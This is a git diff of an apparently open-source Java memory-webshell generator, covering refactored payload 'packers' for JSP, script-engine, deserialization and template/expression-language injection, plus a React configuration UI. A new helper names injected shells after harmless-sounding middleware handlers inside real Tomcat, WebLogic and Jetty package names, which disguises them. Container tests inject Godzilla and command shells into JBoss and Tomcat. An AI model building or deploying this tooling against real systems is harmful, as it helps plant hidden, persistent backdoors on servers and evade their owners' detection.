||||
* JSP 打包器
|
||||
*/
|
||||
JSP(new JspPacker()),
|
||||
JSP("JSP", new JspPacker()),
|
||||
|
||||
/**
|
||||
* 脚本引擎打包器
|
||||
*/
|
||||
ScriptEngine(new ScriptEnginePacker()),
|
||||
ScriptEngine("脚本引擎", new ScriptEnginePacker()),
|
||||
|
||||
/**
|
||||
* 反序列化打包器
|
||||
*/
|
||||
Deserialize(new DeserializePacker()),
|
||||
Deserialize("反序列化(Only CB4, 1.9.x)", new DeserializePacker()),
|
||||
|
||||
/**
|
||||
* EL
|
||||
*/
|
||||
EL(new ELPacker()),
|
||||
EL("EL 表达式", new ELPacker()),
|
||||
|
||||
Ognl(new OgnlPacker()),
|
||||
OGNL("OGNL 表达式", new OGNLPacker()),
|
||||
|
||||
SpEL(new SpELPacker()),
|
||||
SpEL("SpEL 表达式", new SpELPacker()),
|
||||
|
||||
Velocity(new VelocityPacker()),
|
||||
Freemarker("Freemarker", new FreemarkerPacker()),
|
||||
|
||||
Freemarker(new FreemarkerPacker()),
|
||||
Velocity("Velocity", new VelocityPacker()),
|
||||
;
|
||||
|
||||
private final String desc;
|
||||
private final Packer packer;
|
||||
|
||||
INSTANCE(Packer packer) {
|
||||
INSTANCE(String desc, Packer packer) {
|
||||
this.desc = desc;
|
||||
this.packer = packer;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -25,14 +25,13 @@ public class ScriptEnginePacker implements Packer {
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public byte[] pack(GenerateResult generateResult) {
|
||||
public String pack(GenerateResult generateResult) {
|
||||
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
|
||||
String injectorClassName = generateResult.getInjectorClassName();
|
||||
return jsTemplate.replace("{{className}}", injectorClassName)
|
||||
.replace("{{base64Str}}", injectorBytesBase64Str)
|
||||
.replace("\n", "")
|
||||
.replaceAll("(?m)^[ \t]+|[ \t]+$", "")
|
||||
.replaceAll("[ \t]{2,}", " ")
|
||||
.getBytes();
|
||||
.replaceAll("[ \t]{2,}", " ");
|
||||
}
|
||||
}
|
||||
|
||||
@@ -24,8 +24,8 @@ public class SpELPacker implements Packer {
|
||||
}
|
||||
|
||||
@Override
|
||||
public byte[] pack(GenerateResult generateResult) {
|
||||
byte[] scriptBytes = scriptEnginePacker.pack(generateResult);
|
||||
return template.replace("{{script}}", new String(scriptBytes)).getBytes();
|
||||
public String pack(GenerateResult generateResult) {
|
||||
String script = scriptEnginePacker.pack(generateResult);
|
||||
return template.replace("{{script}}", script);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -24,8 +24,8 @@ public class VelocityPacker implements Packer {
|
||||
}
|
||||
|
||||
@Override
|
||||
public byte[] pack(GenerateResult generateResult) {
|
||||
byte[] scriptBytes = scriptEnginePacker.pack(generateResult);
|
||||
return template.replace("{{script}}", new String(scriptBytes)).getBytes();
|
||||
public String pack(GenerateResult generateResult) {
|
||||
String script = scriptEnginePacker.pack(generateResult);
|
||||
return template.replace("{{script}}", script);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,5 +1,7 @@
|
||||
package com.reajason.javaweb.util;
|
||||
|
||||
import com.reajason.javaweb.config.Server;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.security.SecureRandom;
|
||||
@@ -24,6 +26,14 @@ public class CommonUtil {
|
||||
"com.google.gso",
|
||||
"ch.qos.logback"
|
||||
};
|
||||
private static final String[] MIDDLEWARE_NAMES = {
|
||||
"Error",
|
||||
"Log",
|
||||
"Report",
|
||||
"Auth",
|
||||
"OAuth",
|
||||
"Checker"
|
||||
};
|
||||
|
||||
public static byte[] gzipCompress(byte[] data) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
@@ -55,4 +65,22 @@ public class CommonUtil {
|
||||
public static String generateInjectorClassName() {
|
||||
return getRandomPackageName() + "." + INJECTOR_CLASS_NAMES[new Random().nextInt(INJECTOR_CLASS_NAMES.length)];
|
||||
}
|
||||
}
|
||||
|
||||
public static String generateShellClassName(Server server, String shellType) {
|
||||
String packageName = switch (server) {
|
||||
case Jetty -> "org.eclipse.jetty.servlet.handlers";
|
||||
case Undertow, JBossEAP7, WildFly -> "io.undertow.servlet.handlers";
|
||||
case SpringMVC -> "org.springframework.boot.mvc.handlers";
|
||||
case SpringWebflux -> "org.springframework.boot.webflux.handlers";
|
||||
case WebSphere -> "com.ibm.ws.webcontainer.handlers";
|
||||
case WebLogic -> "weblogic.servlet.internal.handlers";
|
||||
case Resin -> "com.caucho.server.dispatch.handlers";
|
||||
default -> "org.apache.catalina.web.handlers";
|
||||
};
|
||||
return packageName
|
||||
+ "." + getRandomString(1)
|
||||
+ "." + getRandomString(1)
|
||||
+ "." + getRandomString(1)
|
||||
+ "." + MIDDLEWARE_NAMES[new Random().nextInt(MIDDLEWARE_NAMES.length)] + shellType;
|
||||
}
|
||||
}
|
||||
@@ -13,8 +13,6 @@ import net.bytebuddy.matcher.ElementMatchers;
|
||||
import net.bytebuddy.pool.TypePool;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
import java.util.logging.Logger;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertNotEquals;
|
||||
@@ -88,7 +86,7 @@ class LogRemoveVisitorWrapperTest {
|
||||
.method(ElementMatchers.any(), LogRemoveMethodVisitor.INSTANCE))
|
||||
.make();
|
||||
byte[] bytes = make.getBytes();
|
||||
Files.write(Paths.get("xx.class"), bytes);
|
||||
// Files.write(Paths.get("xx.class"), bytes);
|
||||
Class<?> modifiedClass = make.load(getClass().getClassLoader()).getLoaded();
|
||||
Object instance = modifiedClass.getDeclaredConstructor().newInstance();
|
||||
modifiedClass.getMethod("methodWithLogs").invoke(instance);
|
||||
|
||||
File diff suppressed because one or more lines are too long
+3
-3
@@ -33,13 +33,13 @@ class CommandFilterTest {
|
||||
void generate(Class<?> clazz, String className) {
|
||||
ShellConfig generateConfig = new ShellConfig();
|
||||
CommandConfig shellConfig = CommandConfig.builder()
|
||||
.clazz(clazz)
|
||||
.className(className)
|
||||
.shellClass(clazz)
|
||||
.shellClassName(className)
|
||||
.paramName("cmd")
|
||||
.build();
|
||||
byte[] bytes = CommandGenerator.generate(generateConfig, shellConfig);
|
||||
Object obj = ClassUtils.newInstance(bytes);
|
||||
assertEquals(shellConfig.getClassName(), obj.getClass().getName());
|
||||
assertEquals(shellConfig.getShellClassName(), obj.getClass().getName());
|
||||
assertEquals(shellConfig.getParamName(), ClassUtils.getFieldValue(obj, "paramName"));
|
||||
}
|
||||
}
|
||||
+3
-3
@@ -40,12 +40,12 @@ class GodzillaTest {
|
||||
@MethodSource("casesProvider")
|
||||
void generate(Class<?> clazz, String className) {
|
||||
GodzillaConfig shellConfig = shellConfigBuilder
|
||||
.className(className)
|
||||
.clazz(clazz)
|
||||
.shellClassName(className)
|
||||
.shellClass(clazz)
|
||||
.build();
|
||||
byte[] bytes = new GodzillaGenerator(config, shellConfig).getBytes();
|
||||
Object obj = ClassUtils.newInstance(bytes);
|
||||
assertEquals(shellConfig.getClassName(), obj.getClass().getName());
|
||||
assertEquals(shellConfig.getShellClassName(), obj.getClass().getName());
|
||||
assertEquals(shellConfig.getPass(), ClassUtils.getFieldValue(obj, "pass"));
|
||||
assertEquals(shellConfig.getHeaderName(), ClassUtils.getFieldValue(obj, "headerName"));
|
||||
assertEquals(shellConfig.getHeaderValue(), ClassUtils.getFieldValue(obj, "headerValue"));
|
||||
|
||||
+12
-11
@@ -42,37 +42,38 @@ public class ShellAssertionTool {
|
||||
.headerName("User-Agent").headerValue(headerValue)
|
||||
.build();
|
||||
log.info("generated {} godzilla with pass: {}, key: {}, headerValue: {}", shellType, pass, key, headerValue);
|
||||
byte[] content = GeneratorMain.generate(shellConfig, injectorConfig, godzillaConfig, packer);
|
||||
String content = GeneratorMain.generate(shellConfig, injectorConfig, godzillaConfig, packer);
|
||||
assertInjectIsOk(url, shellType, shellTool, content, packer);
|
||||
GodzillaShellTool.testIsOk(shellUrl, godzillaConfig);
|
||||
break;
|
||||
case Command:
|
||||
String paramName = "Command" + shellType + packer.name();
|
||||
CommandConfig commandConfig = CommandConfig.builder().paramName(paramName).build();
|
||||
byte[] commandContent = GeneratorMain.generate(shellConfig, injectorConfig, commandConfig, packer);
|
||||
String commandContent = GeneratorMain.generate(shellConfig, injectorConfig, commandConfig, packer);
|
||||
log.info("generated {} command shell with paramName: {}", shellType, commandConfig.getParamName());
|
||||
assertInjectIsOk(url, shellType, shellTool, commandContent, packer);
|
||||
CommandShellTool.testIsOk(shellUrl, commandConfig);
|
||||
}
|
||||
}
|
||||
|
||||
public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, byte[] content, Packer.INSTANCE packer) {
|
||||
public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, String content, Packer.INSTANCE packer) {
|
||||
log.info(content);
|
||||
switch (packer) {
|
||||
case JSP -> {
|
||||
String uploadEntry = url + "/upload";
|
||||
String filename = shellType + shellTool + ".jsp";
|
||||
String shellUrl = url + "/" + filename;
|
||||
VulTool.uploadJspFileToServer(uploadEntry, filename, new String(content));
|
||||
VulTool.uploadJspFileToServer(uploadEntry, filename, content);
|
||||
VulTool.urlIsOk(shellUrl);
|
||||
}
|
||||
case ScriptEngine -> VulTool.postData(url + "/js", new String(content));
|
||||
case EL -> VulTool.postData(url + "/el", new String(content));
|
||||
case SpEL -> VulTool.postData(url + "/spel", new String(content));
|
||||
case Ognl -> VulTool.postData(url + "/ognl", new String(content));
|
||||
case Freemarker -> VulTool.postData(url + "/freemarker", new String(content));
|
||||
case Velocity -> VulTool.postData(url + "/velocity", new String(content));
|
||||
case ScriptEngine -> VulTool.postData(url + "/js", content);
|
||||
case EL -> VulTool.postData(url + "/el", content);
|
||||
case SpEL -> VulTool.postData(url + "/spel", content);
|
||||
case OGNL -> VulTool.postData(url + "/ognl", content);
|
||||
case Freemarker -> VulTool.postData(url + "/freemarker", content);
|
||||
case Velocity -> VulTool.postData(url + "/velocity", content);
|
||||
case Deserialize ->
|
||||
VulTool.postData(url + "/java_deserialize", Base64.getEncoder().encodeToString(content));
|
||||
VulTool.postData(url + "/java_deserialize", content);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+1
-1
@@ -60,6 +60,6 @@ public class Jboss423ContainerTest {
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||
testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer);
|
||||
testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer);
|
||||
}
|
||||
}
|
||||
|
||||
+1
-1
@@ -60,6 +60,6 @@ public class Jboss510ContainerTest {
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||
testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer);
|
||||
testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer);
|
||||
}
|
||||
}
|
||||
|
||||
+1
-1
@@ -61,6 +61,6 @@ public class Jboss610ContainerTest {
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||
testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer);
|
||||
testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer);
|
||||
}
|
||||
}
|
||||
|
||||
+1
-1
@@ -60,6 +60,6 @@ public class Jboss711ContainerTest {
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||
testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_7, packer);
|
||||
testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_7, packer);
|
||||
}
|
||||
}
|
||||
|
||||
+1
-1
@@ -57,6 +57,6 @@ public class JbossEap6ContainerTest {
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||
testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer);
|
||||
testShellInjectAssertOk(getUrl(container), Server.JBossEAP6, shellType, shellTool, Opcodes.V1_6, packer);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-2
@@ -42,9 +42,13 @@ public class JbossEap7ContainerTest {
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP)
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine)
|
||||
);
|
||||
}
|
||||
|
||||
@@ -57,6 +61,6 @@ public class JbossEap7ContainerTest {
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||
testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer);
|
||||
testShellInjectAssertOk(getUrl(container), Server.JBossEAP7, shellType, shellTool, Opcodes.V1_6, packer);
|
||||
}
|
||||
}
|
||||
|
||||
+1
-1
@@ -66,7 +66,7 @@ public class Tomcat8ContainerTest {
|
||||
arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
|
||||
arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.EL),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Ognl),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.OGNL),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.SpEL),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Freemarker),
|
||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Velocity)
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
VITE_APP_API_URL=
|
||||
+2
-2
@@ -1,5 +1,5 @@
|
||||
{
|
||||
"$schema": "https://biomejs.dev/schemas/1.9.3/schema.json",
|
||||
"$schema": "https://biomejs.dev/schemas/1.9.4/schema.json",
|
||||
"vcs": {
|
||||
"enabled": true,
|
||||
"clientKind": "git",
|
||||
@@ -30,7 +30,7 @@
|
||||
"indentStyle": "space",
|
||||
"indentWidth": 2,
|
||||
"enabled": true,
|
||||
"lineWidth": 100,
|
||||
"lineWidth": 120,
|
||||
"ignore": ["node_modules", "tsconfig*", "dist"]
|
||||
},
|
||||
"organizeImports": {
|
||||
|
||||
Binary file not shown.
Executable
+8
@@ -0,0 +1,8 @@
|
||||
#!/bin/bash
|
||||
rm -rf ../boot/src/main/resources/static/assets/*
|
||||
|
||||
mkdir -p ../boot/src/main/resources/static/assets/
|
||||
cp dist/vite.svg ../boot/src/main/resources/static/
|
||||
cp -R dist/assets/* ../boot/src/main/resources/static/assets/
|
||||
|
||||
cp dist/index.html ../boot/src/main/resources/templates
|
||||
+24
-15
@@ -6,42 +6,51 @@
|
||||
"scripts": {
|
||||
"typecheck": "tsc --noEmit",
|
||||
"dev": "vite --port=3001",
|
||||
"build": "vite build",
|
||||
"build": "tsc -b && vite build --mode production",
|
||||
"serve": "vite preview",
|
||||
"check": "bunx @biomejs/biome check ./ --write",
|
||||
"start": "vite"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@biomejs/biome": "1.9.4",
|
||||
"@tanstack/router-plugin": "^1.86.0",
|
||||
"@types/node": "^22.10.1",
|
||||
"@tanstack/router-plugin": "^1.91.1",
|
||||
"@types/node": "^22.10.2",
|
||||
"@types/react": "^19.0.1",
|
||||
"@types/react-dom": "^19.0.1",
|
||||
"@types/react-dom": "^19.0.2",
|
||||
"@vitejs/plugin-react": "^4.3.4",
|
||||
"autoprefixer": "^10.4.20",
|
||||
"postcss": "^8.4.49",
|
||||
"tailwindcss": "^3.4.16",
|
||||
"typescript": "^5.7.2",
|
||||
"vite": "^6.0.3"
|
||||
},
|
||||
"dependencies": {
|
||||
"@radix-ui/react-checkbox": "^1.1.2",
|
||||
"@radix-ui/react-dropdown-menu": "^2.1.2",
|
||||
"@radix-ui/react-label": "^2.1.0",
|
||||
"@radix-ui/react-radio-group": "^1.2.1",
|
||||
"@radix-ui/react-select": "^2.1.2",
|
||||
"@radix-ui/react-slot": "^1.1.0",
|
||||
"@radix-ui/react-switch": "^1.1.1",
|
||||
"@radix-ui/react-tabs": "^1.1.1",
|
||||
"@tanstack/react-router": "^1.87.0",
|
||||
"@tanstack/router-devtools": "^1.87.0",
|
||||
"@hookform/resolvers": "^3.9.1",
|
||||
"@radix-ui/react-checkbox": "^1.1.3",
|
||||
"@radix-ui/react-dropdown-menu": "^2.1.4",
|
||||
"@radix-ui/react-label": "^2.1.1",
|
||||
"@radix-ui/react-radio-group": "^1.2.2",
|
||||
"@radix-ui/react-select": "^2.1.4",
|
||||
"@radix-ui/react-separator": "^1.1.1",
|
||||
"@radix-ui/react-slot": "^1.1.1",
|
||||
"@radix-ui/react-switch": "^1.1.2",
|
||||
"@radix-ui/react-tabs": "^1.1.2",
|
||||
"@radix-ui/react-tooltip": "^1.1.6",
|
||||
"@tanstack/react-query": "^5.62.8",
|
||||
"@tanstack/react-router": "^1.91.2",
|
||||
"@tanstack/router-devtools": "^1.91.2",
|
||||
"@types/react-syntax-highlighter": "^15.5.13",
|
||||
"class-variance-authority": "^0.7.1",
|
||||
"clsx": "^2.1.1",
|
||||
"lucide-react": "^0.468.0",
|
||||
"next-themes": "^0.4.4",
|
||||
"react": "^19.0.0",
|
||||
"react-dom": "^19.0.0",
|
||||
"react-hook-form": "^7.54.1",
|
||||
"react-syntax-highlighter": "^15.6.1",
|
||||
"sonner": "^1.7.1",
|
||||
"tailwind-merge": "^2.5.5",
|
||||
"tailwindcss-animate": "^1.0.7"
|
||||
"tailwindcss-animate": "^1.0.7",
|
||||
"zod": "^3.24.1"
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,9 +1,10 @@
|
||||
import { Button, ButtonProps } from "@/components/ui/button.tsx";
|
||||
import { cn } from "@/lib/utils.ts";
|
||||
import { CheckIcon, ClipboardIcon } from "lucide-react";
|
||||
import { useEffect, useState } from "react";
|
||||
import { HTMLProps, useEffect, useState } from "react";
|
||||
import { Prism as SyntaxHighlighter } from "react-syntax-highlighter";
|
||||
import { materialDark } from "react-syntax-highlighter/dist/esm/styles/prism";
|
||||
import { toast } from "sonner";
|
||||
|
||||
interface CopyButtonProps extends ButtonProps {
|
||||
value: string;
|
||||
@@ -14,24 +15,21 @@ export function copyToClipboardWithMeta(value: string) {
|
||||
navigator.clipboard.writeText(value);
|
||||
}
|
||||
|
||||
export function CopyButton({
|
||||
value,
|
||||
className,
|
||||
src,
|
||||
variant = "ghost",
|
||||
...props
|
||||
}: CopyButtonProps) {
|
||||
export function CopyButton({ value, className, src, variant = "ghost", ...props }: CopyButtonProps) {
|
||||
const [hasCopied, setHasCopied] = useState(false);
|
||||
|
||||
useEffect(() => {
|
||||
setTimeout(() => {
|
||||
setHasCopied(false);
|
||||
}, 2000);
|
||||
}, []);
|
||||
if (hasCopied) {
|
||||
setTimeout(() => {
|
||||
setHasCopied(false);
|
||||
}, 1000);
|
||||
}
|
||||
}, [hasCopied]);
|
||||
|
||||
return (
|
||||
<Button
|
||||
size="icon"
|
||||
type="button"
|
||||
variant={variant}
|
||||
className={cn(
|
||||
"relative z-10 h-6 w-6 text-zinc-50 hover:bg-zinc-700 hover:text-zinc-50 [&_svg]:h-3 [&_svg]:w-3",
|
||||
@@ -40,6 +38,7 @@ export function CopyButton({
|
||||
onClick={() => {
|
||||
copyToClipboardWithMeta(value);
|
||||
setHasCopied(true);
|
||||
toast.success("复制成功");
|
||||
}}
|
||||
{...props}
|
||||
>
|
||||
@@ -53,22 +52,33 @@ export function CodeViewer({
|
||||
code,
|
||||
language,
|
||||
showLineNumbers = true,
|
||||
wrapLongLines = false,
|
||||
}: {
|
||||
code: string;
|
||||
language: string;
|
||||
showLineNumbers?: boolean;
|
||||
wrapLongLines?: boolean;
|
||||
}) {
|
||||
const lineProps: lineTagPropsFunction | HTMLProps<HTMLElement> | undefined = wrapLongLines
|
||||
? { style: { overflowWrap: "break-word", whiteSpace: "pre-wrap" } }
|
||||
: undefined;
|
||||
return (
|
||||
<div className="relative overflow-hidden text-xs">
|
||||
<div className="relative overflow-hidden text-xs wrap-all">
|
||||
<CopyButton value={code} className="absolute right-4 top-2" />
|
||||
<SyntaxHighlighter
|
||||
language={language}
|
||||
style={materialDark}
|
||||
showLineNumbers={showLineNumbers}
|
||||
wrapLongLines={wrapLongLines}
|
||||
lineProps={lineProps}
|
||||
customStyle={{
|
||||
margin: 0,
|
||||
paddingRight: showLineNumbers ? 0 : 24,
|
||||
paddingLeft: showLineNumbers ? 0 : 24,
|
||||
borderRadius: "var(--radius)",
|
||||
height: 600,
|
||||
height: 500,
|
||||
whiteSpace: wrapLongLines ? "pre-wrap" : "pre",
|
||||
overflowWrap: wrapLongLines ? "normal" : "break-word",
|
||||
}}
|
||||
>
|
||||
{code}
|
||||
|
||||
@@ -1,17 +1,39 @@
|
||||
import { UrlPatternTip } from "@/components/tips/url-pattern-tip.tsx";
|
||||
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card.tsx";
|
||||
import { FormControl, FormDescription, FormField, FormItem, FormLabel } from "@/components/ui/form.tsx";
|
||||
import { Input } from "@/components/ui/input.tsx";
|
||||
import { Label } from "@/components/ui/label.tsx";
|
||||
import {
|
||||
Select,
|
||||
SelectContent,
|
||||
SelectItem,
|
||||
SelectTrigger,
|
||||
SelectValue,
|
||||
} from "@/components/ui/select.tsx";
|
||||
import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from "@/components/ui/select.tsx";
|
||||
import { Separator } from "@/components/ui/separator.tsx";
|
||||
import { Switch } from "@/components/ui/switch.tsx";
|
||||
import { FormSchema } from "@/types/schema.ts";
|
||||
import { MainConfig } from "@/types/shell.ts";
|
||||
import { ServerIcon } from "lucide-react";
|
||||
import { useState } from "react";
|
||||
import { FormProvider, UseFormReturn } from "react-hook-form";
|
||||
|
||||
const JDKVersion = [
|
||||
{ name: "Java6", value: "50" },
|
||||
{ name: "Java8", value: "52" },
|
||||
{ name: "Java9", value: "53" },
|
||||
{ name: "Java11", value: "55" },
|
||||
{ name: "Java17", value: "61" },
|
||||
{ name: "Java21", value: "65" },
|
||||
];
|
||||
|
||||
export function MainConfigCard({
|
||||
mainConfig,
|
||||
form,
|
||||
servers,
|
||||
}: {
|
||||
mainConfig: MainConfig | undefined;
|
||||
form: UseFormReturn<FormSchema>;
|
||||
servers?: string[];
|
||||
}) {
|
||||
const [shellToolMap, setShellToolMap] = useState<{ [toolName: string]: string[] }>();
|
||||
const [shellTools, setShellTools] = useState<string[]>([]);
|
||||
const [shellTypes, setShellTypes] = useState<string[]>([]);
|
||||
|
||||
export function MainConfigCard() {
|
||||
return (
|
||||
<Card className="w-full">
|
||||
<CardHeader className="pb-1">
|
||||
@@ -20,87 +42,280 @@ export function MainConfigCard() {
|
||||
<span>核心配置</span>
|
||||
</CardTitle>
|
||||
</CardHeader>
|
||||
<CardContent className="space-y-2">
|
||||
<div className="grid grid-cols-2 gap-2">
|
||||
<div className="space-y-1">
|
||||
<Label htmlFor="server" className="text-sm">
|
||||
目标服务
|
||||
<FormProvider {...form}>
|
||||
<CardContent>
|
||||
<div className="grid grid-cols-2 gap-2">
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="server"
|
||||
render={({ field }) => (
|
||||
<FormItem className="space-y-1">
|
||||
<FormLabel>目标服务</FormLabel>
|
||||
<Select
|
||||
onValueChange={(v) => {
|
||||
field.onChange(v);
|
||||
if (mainConfig) {
|
||||
setShellToolMap(mainConfig[v]);
|
||||
setShellTools(Object.keys(mainConfig[v]));
|
||||
setShellTypes([]);
|
||||
}
|
||||
}}
|
||||
value={field.value}
|
||||
>
|
||||
<FormControl>
|
||||
<SelectTrigger className="h-8">
|
||||
<SelectValue placeholder="请选择" />
|
||||
</SelectTrigger>
|
||||
</FormControl>
|
||||
<SelectContent>
|
||||
{servers?.map((server: string) => (
|
||||
<SelectItem key={server} value={server}>
|
||||
{server}
|
||||
</SelectItem>
|
||||
))}
|
||||
</SelectContent>
|
||||
</Select>
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="targetJdkVersion"
|
||||
render={({ field }) => (
|
||||
<FormItem className="space-y-1">
|
||||
<FormLabel>JRE(可选)</FormLabel>
|
||||
<Select onValueChange={field.onChange} value={field.value}>
|
||||
<FormControl>
|
||||
<SelectTrigger className="h-8">
|
||||
<SelectValue placeholder="请选择" />
|
||||
</SelectTrigger>
|
||||
</FormControl>
|
||||
<SelectContent>
|
||||
{JDKVersion.map((v) => (
|
||||
<SelectItem key={v.value} value={v.value}>
|
||||
{v.name}
|
||||
</SelectItem>
|
||||
))}
|
||||
</SelectContent>
|
||||
</Select>
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
</div>
|
||||
<div className="flex items-center space-x-4 mt-2">
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="debug"
|
||||
render={({ field }) => (
|
||||
<FormItem className="flex items-center space-x-2 space-y-0">
|
||||
<FormControl>
|
||||
<Switch id="debug" checked={field.value} onCheckedChange={field.onChange} />
|
||||
</FormControl>
|
||||
<FormLabel htmlFor="debug">开启调试</FormLabel>
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="bypassJavaModule"
|
||||
render={({ field }) => (
|
||||
<FormItem className="flex items-center space-x-2 space-y-0">
|
||||
<FormControl>
|
||||
<Switch id="bypassJavaModule" checked={field.value} onCheckedChange={field.onChange} />
|
||||
</FormControl>
|
||||
<Label htmlFor="bypassJavaModule">bypassJavaModule</Label>
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
<div className="flex items-center space-x-2">
|
||||
<Switch id="lambda" disabled />
|
||||
<Label htmlFor="lambda">Lambda 类名 (WIP)</Label>
|
||||
</div>
|
||||
<div className="flex items-center space-x-2">
|
||||
<Switch id="obfuscate" disabled />
|
||||
<Label htmlFor="obfuscate">开启混淆 (WIP)</Label>
|
||||
</div>
|
||||
</div>
|
||||
<Separator className="mt-4 mb-2" />
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="shellClassName"
|
||||
render={({ field }) => (
|
||||
<FormItem className="space-y-1">
|
||||
<FormLabel>内存马类名(可选)</FormLabel>
|
||||
<Input id="shellClassName" {...field} placeholder="请输入" className="h-8" />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
<div className="grid grid-cols-3 gap-2 mt-2">
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="shellTool"
|
||||
render={({ field }) => (
|
||||
<FormItem className="space-y-1">
|
||||
<FormLabel>内存马工具类型</FormLabel>
|
||||
<Select
|
||||
value={field.value}
|
||||
onValueChange={(value: string) => {
|
||||
field.onChange(value);
|
||||
if (shellToolMap) {
|
||||
setShellTypes(shellToolMap[value]);
|
||||
}
|
||||
}}
|
||||
>
|
||||
<FormControl>
|
||||
<SelectTrigger className="h-8">
|
||||
<SelectValue placeholder="请选择" />
|
||||
</SelectTrigger>
|
||||
</FormControl>
|
||||
<SelectContent>
|
||||
{shellTools.length ? (
|
||||
shellTools.map((v) => (
|
||||
<SelectItem key={v} value={v}>
|
||||
{v}
|
||||
</SelectItem>
|
||||
))
|
||||
) : (
|
||||
<SelectItem value=" ">请先选择目标服务</SelectItem>
|
||||
)}
|
||||
</SelectContent>
|
||||
</Select>
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="shellType"
|
||||
render={({ field }) => (
|
||||
<FormItem className="space-y-1">
|
||||
<FormLabel>内存马挂载类型</FormLabel>
|
||||
<Select onValueChange={field.onChange} value={field.value}>
|
||||
<FormControl>
|
||||
